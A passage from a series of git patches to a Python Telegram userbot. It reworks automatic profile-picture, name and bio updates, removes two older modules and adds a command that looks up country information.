f"📅 {DMY} | {DEFAULTUSERBIO} | ⌚️ {HM}" + logger.info(bio) + try: + await event.client(functions.account.UpdateProfileRequest(about=bio)) + except FloodWaitError as ex: + logger.warning(str(e)) + await asyncio.sleep(ex.seconds) + await asyncio.sleep(CHANGE_TIME) + + +@bot.on(admin_cmd(pattern="end (.*)")) +async def _(event): + if event.fwd_from: + return + global AUTOPICSTART + global DIGITALPICSTART + global BLOOMSTART + global AUTONAMESTART + global AUTOBIOSTART + input_str = event.pattern_match.group(1) + if input_str == "autopic": + if AUTOPICSTART: + AUTOPICSTART = False + await edit_delete(event, "`Autopic has been stopped now`") + else: + await edit_delete(event, "`Autopic haven't enabled`") + elif input_str == "digitalpfp": + if DIGITALPICSTART: + DIGITALPICSTART = False + await edit_delete(event, "`Digital profile pic has been stopped now`") + else: + await edit_delete(event, "`Digital profile pic haven't enabled`") + elif input_str == "bloom": + if BLOOMSTART: + BLOOMSTART = False + await edit_delete(event, "`Bloom has been stopped now`") + else: + await edit_delete(event, "`Bloom haven't enabled`") + elif input_str == "autoname": + if AUTONAMESTART: + AUTONAMESTART = False + await edit_delete(event, "`Autoname has been stopped now`") + else: + await edit_delete(event, "`Autoname haven't enabled`") + elif input_str == "autobio": + if AUTOBIOSTART: + AUTOBIOSTART = False + await edit_delete(event, "`Autobio has been stopped now`") + else: + await edit_delete(event, "`Autobio haven't enabled`") + else: + await edit_delete(event, "`What should i end ?..`") + + +CMD_HELP.update( + { + "autoprofile": """**Plugin : **`autoprofile` + • **Syntax : **`.autopic angle` + • **Function : **__Rotating image along with the time on it with given angle if no angle is given then doesnt rotate. You need to set __`DOWNLOAD_PFP_URL_CLOCK`__ in heroku__ + • **Syntax : **`.digitalpfp` + • **Function : **__Your profile pic changes to digitaltime profile picutre__ + • **Syntax : **`.bloom` + • **Function : **__Random colour profile pics will be set along with time on it. You need to set__ `DOWNLOAD_PFP_URL_CLOCK`__ in heroku__ + • **Syntax : **`.autoname` + • **Function : **__for time along with name, you must set __`AUTONAME`__ in the heroku vars first for this to work__ + • **Syntax : **`.autobio` + • **Function : **__for time along with your bio, Set __`DEFAULT_BIO`__ in the heroku vars first__ + • **Syntax : **`.end function` + • **Function : **__To stop the given functions like autopic ,difitalpfp , bloom , autoname and autobio__ +**⚠️DISCLAIMER⚠️** +__USING THIS PLUGIN CAN RESULT IN ACCOUNT BAN. WE ARE NOT RESPONSIBLE FOR YOUR BAN.__ +""" + } +) From 3369237214226fba857ed4371909c677c21971c8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 12:42:45 +0530 Subject: [PATCH 244/838] Update autotools.py --- fridaybot/modules/autotools.py | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 4a9b2728..1ab0cbfe 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -17,13 +17,15 @@ from telethon.errors import FloodWaitError from telethon.tl import functions from fridaybot import CMD_HELP -from . import AUTONAME, DEFAULT_BIO + +AUTONAME = Config.AUTONAME +DEFAULT_BIO = Config.DEFAULT_BIO DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " CHANGE_TIME = Config.CHANGE_TIME -DEFAULTUSER = str(AUTONAME) if AUTONAME else "cat" +DEFAULTUSER = str(AUTONAME) if AUTONAME else "VirtualUserbot" -FONT_FILE_TO_USE = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf" +FONT_FILE_TO_USE = "Fonts/digital.ttf" global AUTOPICSTART global DIGITALPICSTART global BLOOMSTART @@ -37,17 +39,17 @@ DIGITALPICSTART = False -@bot.on(admin_cmd(pattern="autopic ?(.*)")) +@bot.on(admin_cmd(pattern="auutopic ?(.*)")) async def autopic(event): if event.fwd_from: return global AUTOPICSTART - downloaded_file_name = "userbot/original_pic.png" + downloaded_file_name = "fridaybot/original_pic.png" downloader = SmartDL( Config.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False ) downloader.start(blocking=False) - photo = "userbot/photo_pfp.png" + photo = "fridaybot/photo_pfp.png" while not downloader.isFinished(): pass input_str = event.pattern_match.group(1) @@ -89,13 +91,13 @@ async def main(event): if event.fwd_from: return global DIGITALPICSTART - poto = "userbot/poto_pfp.png" + poto = "fridaybot/poto_pfp.png" cat = str( base64.b64decode( "aHR0cHM6Ly90ZWxlZ3JhLnBoL2ZpbGUvYWVhZWJlMzNiMWYzOTg4YTBiNjkwLmpwZw==" ) )[2:51] - downloaded_file_name = "userbot/digital_pic.png" + downloaded_file_name = "fridaybot/digital_pic.png" downloader = SmartDL(cat, downloaded_file_name, progress_bar=False) downloader.start(blocking=False) if DIGITALPICSTART: @@ -131,12 +133,12 @@ async def autopic(event): if event.fwd_from: return global BLOOMSTART - downloaded_file_name = "userbot/original_pic.png" + downloaded_file_name = "fridaybot/original_pic.png" downloader = SmartDL( Config.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=True ) downloader.start(blocking=False) - photo = "userbot/photo_pfp.png" + photo = "fridaybot/photo_pfp.png" while not downloader.isFinished(): pass if BLOOMSTART: @@ -175,7 +177,7 @@ async def autopic(event): return -@bot.on(admin_cmd(pattern="autoname$")) +@bot.on(admin_cmd(pattern="auutoname$")) async def _(event): if event.fwd_from: return From 7ab35598e24a44e77c4cb7ecf239ec6ba73b5f58 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 12:50:46 +0530 Subject: [PATCH 245/838] Update autotools.py --- fridaybot/modules/autotools.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 1ab0cbfe..1ed5df62 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -18,11 +18,10 @@ from telethon.tl import functions from fridaybot import CMD_HELP -AUTONAME = Config.AUTONAME -DEFAULT_BIO = Config.DEFAULT_BIO - +AUTONAME = os.environ.get("AUTONAME", None) +DEFAULT_BIO = os.environ.get("DEFAULTBIO", None) DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " -CHANGE_TIME = Config.CHANGE_TIME +CHANGE_TIME = int(os.environ.get("CHANGE_TIME", 60)) DEFAULTUSER = str(AUTONAME) if AUTONAME else "VirtualUserbot" FONT_FILE_TO_USE = "Fonts/digital.ttf" From cd78f3925115c101a08f7e3195349c698b5763e7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 12:54:27 +0530 Subject: [PATCH 246/838] Update autotools.py --- fridaybot/modules/autotools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 1ed5df62..f3774c28 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -17,7 +17,7 @@ from telethon.errors import FloodWaitError from telethon.tl import functions from fridaybot import CMD_HELP - +from ..utils import admin_cmd, sudo_cmd AUTONAME = os.environ.get("AUTONAME", None) DEFAULT_BIO = os.environ.get("DEFAULTBIO", None) DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " From ab42a949a49d669caf1b4db649b687785c8fb853 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:04:26 +0530 Subject: [PATCH 247/838] Update autotools.py --- fridaybot/modules/autotools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index f3774c28..f002f892 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -17,7 +17,7 @@ from telethon.errors import FloodWaitError from telethon.tl import functions from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd +from ..utils import admin_cmd, sudo_cmd,edit_delete AUTONAME = os.environ.get("AUTONAME", None) DEFAULT_BIO = os.environ.get("DEFAULTBIO", None) DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " From fd59c2b763a6331a19bd931732f2b89ae9c24811 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:14:14 +0530 Subject: [PATCH 248/838] Update autotools.py --- fridaybot/modules/autotools.py | 44 +++++++++++++++++----------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index f002f892..235baa9f 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -17,7 +17,7 @@ from telethon.errors import FloodWaitError from telethon.tl import functions from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd,edit_delete +from ..utils import admin_cmd, sudo_cmd, edit_or_reply AUTONAME = os.environ.get("AUTONAME", None) DEFAULT_BIO = os.environ.get("DEFAULTBIO", None) DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " @@ -60,11 +60,11 @@ async def autopic(event): else: input_str = 0 if AUTOPICSTART: - return await edit_delete(event, f"`Autopic is already enabled`") + return await edit_or_reply(event, f"`Autopic is already enabled`") else: AUTOPICSTART = True counter = input_str - await edit_delete(event, f"`Autopic has been started by my Master`") + await edit_or_reply(event, f"`Autopic has been started by my Master`") while AUTOPICSTART: shutil.copy(downloaded_file_name, photo) im = Image.open(photo) @@ -100,10 +100,10 @@ async def main(event): downloader = SmartDL(cat, downloaded_file_name, progress_bar=False) downloader.start(blocking=False) if DIGITALPICSTART: - return await edit_delete(event, f"`Digitalpfp is already enabled`") + return await edit_or_reply(event, f"`Digitalpfp is already enabled`") else: DIGITALPICSTART = True - await edit_delete(event, f"`digitalpfp has been started by my Master`") + await edit_or_reply(event, f"`digitalpfp has been started by my Master`") while DIGITALPICSTART: shutil.copy(downloaded_file_name, poto) Image.open(poto) @@ -141,10 +141,10 @@ async def autopic(event): while not downloader.isFinished(): pass if BLOOMSTART: - return await edit_delete(event, f"`Bloom is already enabled`") + return await edit_or_reply(event, f"`Bloom is already enabled`") else: BLOOMSTART = True - await edit_delete( + await edit_or_reply( event, "`Bloom colour profile pic have been enabled by my master`" ) while BLOOMSTART: @@ -182,10 +182,10 @@ async def _(event): return global AUTONAMESTART if AUTONAMESTART: - return await edit_delete(event, f"`Autoname is already enabled`") + return await edit_or_reply(event, f"`Autoname is already enabled`") else: AUTONAMESTART = True - await edit_delete(event, "`Auto Name has been started by my Master `") + await edit_or_reply(event, "`Auto Name has been started by my Master `") while AUTONAMESTART: DM = time.strftime("%d-%m-%y") HM = time.strftime("%H:%M") @@ -205,10 +205,10 @@ async def _(event): if event.fwd_from: return if AUTOBIOSTART: - return await edit_delete(event, f"`Autobio is already enabled`") + return await edit_or_reply(event, f"`Autobio is already enabled`") else: AUTOBIOSTART = True - await edit_delete(event, "`Autobio has been started by my Master`") + await edit_or_reply(event, "`Autobio has been started by my Master`") while AUTOBIOSTART: DMY = time.strftime("%d.%m.%Y") HM = time.strftime("%H:%M:%S") @@ -235,35 +235,35 @@ async def _(event): if input_str == "autopic": if AUTOPICSTART: AUTOPICSTART = False - await edit_delete(event, "`Autopic has been stopped now`") + await edit_or_reply(event, "`Autopic has been stopped now`") else: - await edit_delete(event, "`Autopic haven't enabled`") + await edit_or_reply(event, "`Autopic haven't enabled`") elif input_str == "digitalpfp": if DIGITALPICSTART: DIGITALPICSTART = False - await edit_delete(event, "`Digital profile pic has been stopped now`") + await edit_or_reply(event, "`Digital profile pic has been stopped now`") else: - await edit_delete(event, "`Digital profile pic haven't enabled`") + await edit_or_reply(event, "`Digital profile pic haven't enabled`") elif input_str == "bloom": if BLOOMSTART: BLOOMSTART = False - await edit_delete(event, "`Bloom has been stopped now`") + await edit_or_reply(event, "`Bloom has been stopped now`") else: - await edit_delete(event, "`Bloom haven't enabled`") + await edit_or_reply(event, "`Bloom haven't enabled`") elif input_str == "autoname": if AUTONAMESTART: AUTONAMESTART = False - await edit_delete(event, "`Autoname has been stopped now`") + await edit_or_reply(event, "`Autoname has been stopped now`") else: - await edit_delete(event, "`Autoname haven't enabled`") + await edit_or_reply(event, "`Autoname haven't enabled`") elif input_str == "autobio": if AUTOBIOSTART: AUTOBIOSTART = False - await edit_delete(event, "`Autobio has been stopped now`") + await edit_or_reply(event, "`Autobio has been stopped now`") else: - await edit_delete(event, "`Autobio haven't enabled`") + await edit_or_reply(event, "`Autobio haven't enabled`") else: - await edit_delete(event, "`What should i end ?..`") + await edit_or_reply(event, "`What should i end ?..`") CMD_HELP.update( From 3889603846b090a442a82a86000e453c9a2ad4ba Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:25:21 +0530 Subject: [PATCH 249/838] Update autotools.py --- fridaybot/modules/autotools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 235baa9f..4c0b3cbc 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -96,7 +96,7 @@ async def main(event): "aHR0cHM6Ly90ZWxlZ3JhLnBoL2ZpbGUvYWVhZWJlMzNiMWYzOTg4YTBiNjkwLmpwZw==" ) )[2:51] - downloaded_file_name = "fridaybot/digital_pic.png" + downloaded_file_name = "fridaybot/original_pic.png" downloader = SmartDL(cat, downloaded_file_name, progress_bar=False) downloader.start(blocking=False) if DIGITALPICSTART: From 5feed9ba28a7df88447f86a49e661811ccf86f3f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:32:50 +0530 Subject: [PATCH 250/838] Update autotools.py --- fridaybot/modules/autotools.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 4c0b3cbc..8178c72d 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -45,7 +45,7 @@ async def autopic(event): global AUTOPICSTART downloaded_file_name = "fridaybot/original_pic.png" downloader = SmartDL( - Config.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False + Var.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False ) downloader.start(blocking=False) photo = "fridaybot/photo_pfp.png" @@ -113,7 +113,7 @@ async def main(event): cat = str(base64.b64decode("dXNlcmJvdC9oZWxwZXJzL3N0eWxlcy9kaWdpdGFsLnR0Zg=="))[ 2:36 ] - fnt = ImageFont.truetype(cat, 200) + fnt = ImageFont.truetype(FONT_FILE_TO_USE, 200) drawn_text.text((350, 100), current_time, font=fnt, fill=(124, 252, 0)) img.save(poto) file = await event.client.upload_file(poto) @@ -269,18 +269,25 @@ async def _(event): CMD_HELP.update( { "autoprofile": """**Plugin : **`autoprofile` + • **Syntax : **`.autopic angle` • **Function : **__Rotating image along with the time on it with given angle if no angle is given then doesnt rotate. You need to set __`DOWNLOAD_PFP_URL_CLOCK`__ in heroku__ + • **Syntax : **`.digitalpfp` • **Function : **__Your profile pic changes to digitaltime profile picutre__ + • **Syntax : **`.bloom` • **Function : **__Random colour profile pics will be set along with time on it. You need to set__ `DOWNLOAD_PFP_URL_CLOCK`__ in heroku__ + • **Syntax : **`.autoname` • **Function : **__for time along with name, you must set __`AUTONAME`__ in the heroku vars first for this to work__ + • **Syntax : **`.autobio` • **Function : **__for time along with your bio, Set __`DEFAULT_BIO`__ in the heroku vars first__ + • **Syntax : **`.end function` • **Function : **__To stop the given functions like autopic ,difitalpfp , bloom , autoname and autobio__ + **⚠️DISCLAIMER⚠️** __USING THIS PLUGIN CAN RESULT IN ACCOUNT BAN. WE ARE NOT RESPONSIBLE FOR YOUR BAN.__ """ From 06870fb5cff9b91bcffc995925c8be9fb1da2928 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:38:20 +0530 Subject: [PATCH 251/838] Update autotools.py --- fridaybot/modules/autotools.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 8178c72d..a892c5b3 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -69,11 +69,11 @@ async def autopic(event): shutil.copy(downloaded_file_name, photo) im = Image.open(photo) file_test = im.rotate(counter, expand=False).save(photo, "PNG") - current_time = datetime.now().strftime(" Time: %H:%M \n Date: %d.%m.%y ") + current_time = datetime.now().strftime("Let's Time Travel %H:%M ") img = Image.open(photo) drawn_text = ImageDraw.Draw(img) fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) - drawn_text.text((150, 250), current_time, font=fnt, fill=(124, 252, 0)) + drawn_text.text((95, 250), current_time, font=fnt, fill=(255, 255, 255)) img.save(photo) file = await event.client.upload_file(photo) try: From 34a051cac9ecd334cb54aa86a9404c9df86aaf60 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:44:28 +0530 Subject: [PATCH 252/838] Introdicing Improoved autoprofile tools --- fridaybot/modules/autotools.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index a892c5b3..8178c72d 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -69,11 +69,11 @@ async def autopic(event): shutil.copy(downloaded_file_name, photo) im = Image.open(photo) file_test = im.rotate(counter, expand=False).save(photo, "PNG") - current_time = datetime.now().strftime("Let's Time Travel %H:%M ") + current_time = datetime.now().strftime(" Time: %H:%M \n Date: %d.%m.%y ") img = Image.open(photo) drawn_text = ImageDraw.Draw(img) fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) - drawn_text.text((95, 250), current_time, font=fnt, fill=(255, 255, 255)) + drawn_text.text((150, 250), current_time, font=fnt, fill=(124, 252, 0)) img.save(photo) file = await event.client.upload_file(photo) try: From 6039bdaf5fdfc1f25a8297e7aace70ef2a72f633 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:46:39 +0530 Subject: [PATCH 253/838] Update autotools.py --- fridaybot/modules/autotools.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py index 8178c72d..78ea9a7f 100644 --- a/fridaybot/modules/autotools.py +++ b/fridaybot/modules/autotools.py @@ -38,7 +38,7 @@ DIGITALPICSTART = False -@bot.on(admin_cmd(pattern="auutopic ?(.*)")) +@bot.on(admin_cmd(pattern="autopic ?(.*)")) async def autopic(event): if event.fwd_from: return @@ -176,7 +176,7 @@ async def autopic(event): return -@bot.on(admin_cmd(pattern="auutoname$")) +@bot.on(admin_cmd(pattern="autoname$")) async def _(event): if event.fwd_from: return From c8cac2b3d4c5f208aef327adea301cf7aa03323b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:47:02 +0530 Subject: [PATCH 254/838] #DEAD --- fridaybot/modules/autopic.py | 54 ------------------------------------ 1 file changed, 54 deletions(-) delete mode 100644 fridaybot/modules/autopic.py diff --git a/fridaybot/modules/autopic.py b/fridaybot/modules/autopic.py deleted file mode 100644 index 0a483846..00000000 --- a/fridaybot/modules/autopic.py +++ /dev/null @@ -1,54 +0,0 @@ -import asyncio -import os -import shutil -from datetime import datetime - -from PIL import Image, ImageDraw, ImageFont -from pySmartDL import SmartDL -from telethon.tl import functions - -from fridaybot import CMD_HELP - -FONT_FILE_TO_USE = "Fonts/digital.ttf" - - -@command(pattern="^.autopic", outgoing=True) -async def autopic(event): - downloaded_file_name = "fridaybot/original_pic.png" - downloader = SmartDL( - Var.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False - ) - downloader.start(blocking=False) - photo = "fridaybot/photo_pfp.png" - while not downloader.isFinished(): - pass - counter = -30 - while True: - shutil.copy(downloaded_file_name, photo) - im = Image.open(photo) - file_test = im.rotate(counter, expand=False).save(photo, "PNG") - current_time = datetime.now().strftime("Let's Time Travel %H:%M ") - img = Image.open(photo) - drawn_text = ImageDraw.Draw(img) - fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) - drawn_text.text((95, 250), current_time, font=fnt, fill=(255, 255, 255)) - img.save(photo) - file = await bot.upload_file(photo) # pylint:disable=E0602 - try: - await bot( - functions.photos.UploadProfilePhotoRequest(file) # pylint:disable=E0602 - ) - os.remove(photo) - counter -= 30 - await asyncio.sleep(60) - except: - return - - -CMD_HELP.update( - { - "autopic": "**AutoPic**\ -\n\n**Syntax : **`.autopic`\ -\n**Usage :** Change your profile PIC With Time" - } -) From 82bf1da7621507d671f4e422ecca76d1175e46d6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 13:47:20 +0530 Subject: [PATCH 255/838] #DEAD --- fridaybot/modules/autoname.py | 70 ----------------------------------- 1 file changed, 70 deletions(-) delete mode 100644 fridaybot/modules/autoname.py diff --git a/fridaybot/modules/autoname.py b/fridaybot/modules/autoname.py deleted file mode 100644 index d67b1678..00000000 --- a/fridaybot/modules/autoname.py +++ /dev/null @@ -1,70 +0,0 @@ -"""Auto Profile Updation Commands -.autoname""" -import asyncio -import time - -from telethon.errors import FloodWaitError -from telethon.tl import functions -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - -from fridaybot import ALIVE_NAME, CMD_HELP - -DEL_TIME_OUT = 60 -DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "FridayUserbot" - - -@friday.on(friday_on_cmd(pattern="autoname")) # pylint:disable=E0602 -@friday.on(sudo_cmd(pattern="autoname", allow_sudo=True)) -async def _(event): - sed = await edit_or_reply(event, "`Starting AutoName Please Wait`") - if event.fwd_from: - return - - while True: - - DM = time.strftime("%d-%m-%y") - - HM = time.strftime("%H:%M") - - name = f"🕒{HM} ⚡{DEFAULTUSER}⚡ 📅{DM}" - - logger.info(name) - - try: - - await borg( - functions.account.UpdateProfileRequest( # pylint:disable=E0602 - first_name=name - ) - ) - - except FloodWaitError as ex: - - logger.warning(str(e)) - - await asyncio.sleep(ex.seconds) - - # else: - - # logger.info(r.stringify()) - - # await borg.send_message( # pylint:disable=E0602 - - # Config.PRIVATE_GROUP_BOT_API_ID, # pylint:disable=E0602 - - # "Successfully Changed Profile Name" - - # ) - - await asyncio.sleep(DEL_TIME_OUT) - - await sed.edit(f"Auto Name has been started my Master") - - -CMD_HELP.update( - { - "autoname": "**Autoname**\ -\n\n**Syntax : **`.autoname`\ -\n**Usage :** Change your Name With Time" - } -) From 3020ad703552cc5be38f384d1e0a501578c9a1ad Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 10:42:51 +0530 Subject: [PATCH 256/838] Update requirements.txt --- requirements.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/requirements.txt b/requirements.txt index 78812c3a..4ce34b70 100644 --- a/requirements.txt +++ b/requirements.txt @@ -81,6 +81,8 @@ googletrans==3.1.0a0 spamwatch nekos.py deep_translator +countryinfo +emoji-country-flag langdetect fontTools PyDictionary From a3694c08e67919f9c47dcc4ce22b60ab2188278c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 10:43:58 +0530 Subject: [PATCH 257/838] Create countries.py --- fridaybot/modules/countries.py | 146 +++++++++++++++++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 fridaybot/modules/countries.py diff --git a/fridaybot/modules/countries.py b/fridaybot/modules/countries.py new file mode 100644 index 00000000..417facf0 --- /dev/null +++ b/fridaybot/modules/countries.py @@ -0,0 +1,146 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +from uniborg.util import friday_on_cmd +import flag +import html + +from telethon.tl.functions.photos import GetUserPhotosRequest +from telethon.tl.functions.users import GetFullUserRequest +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location + +from fridaybot import CMD_HELP, sclient +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd +from countryinfo import CountryInfo + + + +@friday.on(admin_cmd(pattern="country (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + lol = input_str + country = CountryInfo(lol) + try: + a = country.info() + except: + await event.edit("Country Not Avaiable Currently") + name = a.get("name") + bb= a.get("altSpellings") + hu = '' + for p in bb: + hu += p+", " + + area = a.get("area") + borders = "" + hell = a.get("borders") + for fk in hell: + borders += fk+", " + + call = "" + WhAt = a.get("callingCodes") + for what in WhAt: + call+= what+" " + + capital = a.get("capital") + currencies = "" + fker = a.get("currencies") + for FKer in fker: + currencies += FKer+", " + + HmM = a.get("demonym") + geo = a.get("geoJSON") + pablo = geo.get("features") + Pablo = pablo[0] + PAblo = Pablo.get("geometry") + EsCoBaR= PAblo.get("type") + iso = "" + iSo = a.get("ISO") + for hitler in iSo: + po = iSo.get(hitler) + iso += po+", " + fla = iSo.get("alpha2") + nox = fla.upper() + okie = flag.flag(nox) + + languages = a.get("languages") + lMAO="" + for lmao in languages: + lMAO += lmao+", " + + nonive = a.get("nativeName") + waste = a.get("population") + reg = a.get("region") + sub = a.get("subregion") + tik = a.get("timezones") + tom ="" + for jerry in tik: + tom+=jerry+", " + + GOT = a.get("tld") + lanester = "" + for targaryen in GOT: + lanester+=targaryen+", " + + wiki = a.get("wiki") + + caption = f"""information gathered successfully + +Country Name:- {name} +Alternative Spellings:- {hu} +Country Area:- {area} square kilometers +Borders:- {borders} +Calling Codes:- {call} +Country's Capital:- {capital} +Country's currency:- {currencies} +Country's Flag:- {okie} +Demonym:- {HmM} +Country Type:- {EsCoBaR} +ISO Names:- {iso} +Languages:- {lMAO} +Native Name:- {nonive} +population:- {waste} +Region:- {reg} +Sub Region:- {sub} +Time Zones:- {tom} +Top Level Domain:- {lanester} +wikipedia:- {wiki} + +Information Gathered By Friday. +Get Your Own Friday From @FRIDAYCHAT. +""" + + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + ) + + await event.delete() + + + + + +CMD_HELP.update( + { + "countries": "**Countries**\ +\n\n**Syntax : **`.country `\ +\n**Usage :** Gives Information About Given Country.\ +\n\n**Example : **`.country Sri Lanks`\ +\nThis above syntax gives Information about Sri Lanks" + } +) From c22b72fbc289c1da89ff44633f97613922be1323 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 10:44:46 +0530 Subject: [PATCH 258/838] Update count.py --- fridaybot/modules/count.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/count.py b/fridaybot/modules/count.py index 12adb187..3926916c 100644 --- a/fridaybot/modules/count.py +++ b/fridaybot/modules/count.py @@ -16,7 +16,7 @@ logger = logging.getLogger(__name__) -# @friday.on(friday_on_cmd(pattern="count")) +# @friday.on(friday_on_cmd(pattern="count$")) # async def _(event): # if event.fwd_from: # return @@ -52,7 +52,7 @@ # Bots:\t{}""".format(ms, u, g, c, bc, b)) -@friday.on(friday_on_cmd(pattern="count")) +@friday.on(friday_on_cmd(pattern="count$")) async def stats( event: NewMessage.Event, ) -> None: # pylint: disable = R0912, R0914, R0915 From 942b60d163a09b8a36e6c5c9e4e7482538ea6fb2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 10:58:28 +0530 Subject: [PATCH 259/838] Update upload_dl.py --- fridaybot/modules/upload_dl.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/upload_dl.py b/fridaybot/modules/upload_dl.py index 31d47c64..7a01f8df 100644 --- a/fridaybot/modules/upload_dl.py +++ b/fridaybot/modules/upload_dl.py @@ -84,7 +84,7 @@ def time_formatter(milliseconds: int) -> str: async def download(target_file): """ For .dl command, download files to the fridaybot's server. """ friday = await edit_or_reply(target_file, "`Processing ...`") - await friday.edit("Processing using fridaybot server ( ◜‿◝ )♡") + await friday.edit("Processing using VirtualUserbot server ( 